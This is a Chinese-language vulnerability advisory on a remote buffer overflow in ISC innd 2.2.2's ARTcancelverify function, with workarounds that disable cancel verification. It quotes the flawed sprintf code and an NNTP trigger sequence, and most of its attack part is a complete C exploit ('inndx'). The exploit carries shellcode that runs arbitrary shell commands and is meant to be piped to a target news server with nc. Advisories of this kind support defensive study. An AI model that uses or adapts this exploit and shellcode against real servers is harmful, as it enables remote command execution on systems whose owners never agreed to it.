Linux innd 2.2.2 远程缓冲区溢出发布时间:2000-05-19 更新时间:2000-05-19 严重程度:高 威胁程度:远程管理员权限 错误类型:输入验证错误 利用方式:服务器模式 受影响系统 ISC innd 2.2.2详细描述 innd 2.2.2 包含一个远程溢出漏洞。有问题的代码在innd/art.c中的ARTcancelverify函数中: if (!EQ(local, p)) { files = NULL; (void)sprintf(buff, "\"%.50s\" wants to cancel %s by \"%.50s\"", p, MessageID, local); ARTlog(Data, ART_REJECT, buff); } 这里buff的大小是SMBUF字节(256字节),当用户发一条取消某篇文章的邮件到一个"control"新闻组时,如果这个取消请求包含一个有效的Message-ID,但是这个取消请求与要被取消的文章中的 From/Sender域不一致,就会触发这段代码,导致发生缓冲区溢出。 测试代码 由于innd会严格的检查Message-ID中是否包含不可打印字符,因此可以利用它来填充缓冲区, 而用From/Sender的地址来覆盖返回地址,shellcode可以放在取消邮件中的很多地方,当溢 出发生时都会在可以访问的内存中。 下面的例子中LONGBUFFER代表500-600个"A": -- input - 201 XXX InterNetNews NNRP server INN 2.2 23-Oct-1998 ready (posting ok) mode reader group pl.test post Message-ID: <none@LONGBUFFER> From: <test@polbox.com> Sender: <test@polbox.com> Newsgroups: pl.test testing . <- single dot, comment to avoid mail transfer problems group control post Message-ID: <some-random-msgid@test.pl> Approved: <approver@approving.net>From: <sucker@free.net.pl> Sender: <sucker@free.net.pl> Control: cancel <none@LONGBUFFER> Subject: cmsg cancel <none@LONGBUFFER> Newsgroups: control Damn, cancel it. . <- single dot quit -- EOF -- /* * inndx: innd remote 'news' user/group exploit * * Written on 12th June 2000 by Wojciech Purczynski * <wp@elzabsoft.pl> cliph/ircnet * * Bug found by Michal Zalewski. * * Tested on innd-2.2.2-3 default installation on RedHat 6.2. * * Usage: * ./inndx [command [offset]]|nc -i 1 target.host 119 */ #include <stdio.h> #include <unistd.h> #define RETADDR 0x8138004 /* we're jumping into the body of cancel msg */ #define BUFSIZE (256+2*4+4) /* buff + EBP + EIP + Data */ #define JUNKSIZE strlen("\"\" wants to cancel <> by \"") #define NOP 0x90 #define FAKEPTR 0xbffff1c0 #define COMMAND "echo U have b33n h@x0r3d hahahah|mail root" #define BODYSIZE 999 /* Code written by me */ char * run_command= "\xeb\x3d\x5e\x89\xf7\x31\xc0\x47" "\x80\x3f\xff\x75\xfa\x88\x07\x47" "\x89\x37\x89\xf3\x46\x80\x3e\x2e" "\x75\xfa\x88\x06\x46\x89\x77\x04" "\x46\x80\x3e\x2e\x75\xfa\x88\x06" "\x46\x89\x77\x08\x89\x47\x0c\x89" "\xf9\x8d\x57\x0c\xb0\x0b\xcd\x80" "\x89\xc3\x31\xc0\x40\xcd\x80\xe8" "\xbe\xff\xff\xff/bin/sh.-c."; int main(int argc, char *argv[]) { int retaddr=RETADDR; char messageid[256]; char sender[16]; char body[BODYSIZE]; char * command=COMMAND; int midsize; int i; if (argc>1) command=argv[1]; if (argc>2) retaddr+=atoi(argv[2]); memset(sender, 0, sizeof(sender)); strcpy(sender+0, "a@a."); /* EBP */ *(long*)(sender+4)=(long)retaddr; /* EIP */ *(long*)(sender+8)=(long)RETADDR+1000; /* Data */ memset(messageid, 'a', sizeof(messageid)); sprintf(messageid, "%s@a", tmpnam(NULL)+9); messageid[strlen(messageid)]='a'; messageid[BUFSIZE-JUNKSIZE-5-strlen(sender)]=0; memset(body, NOP, sizeof(body)); strcpy(body+sizeof(body)-strlen(run_command)-strlen(command)-2, run_command); strcat(body, command); strcat(body, "\xff"); fprintf(stderr, "RETADDR=%p\n", retaddr); fprintf(stderr, "COMMAND=%s\n", command); printf("mode reader\r\ngroup test\r\npost\r\n"); printf("Message-ID: <%s>\r\n", messageid); printf("From: %s\r\nSender: %s\r\n", sender, sender); printf("Newsgroups: test\r\n"); printf("Subject: blah\r\n"); printf("\r\nblah\r\n.\r\n"); printf("group control\r\npost\r\n"); printf("Message-ID: <%s@test>\r\n", tmpnam(NULL)+9); printf("From: a@b.c\r\nSender: a@b.c\r\n"); printf("Control: cancel <%s>\r\n", messageid); printf("Subject: cmsg cancel <%s>\r\n", messageid); printf("Newsgroups: control\r\n\r\n%s\r\n.\r\nquit\r\n", body); } 解决方案 临时解决方法: 1. 如果不需要inn,只要卸载/删除这个程序 2. 将 /etc/news/inn.conf 中的这一行 verifycancels: true 用下面的这行代替 verifycancels: false 并重新装入INN配置文件: /usr/libexec/inn/bin/ctlinnd reload all 'security fix' 相关信息 <* 来源:Michal Zalewski <lcamtuf@tpi.pl> *> |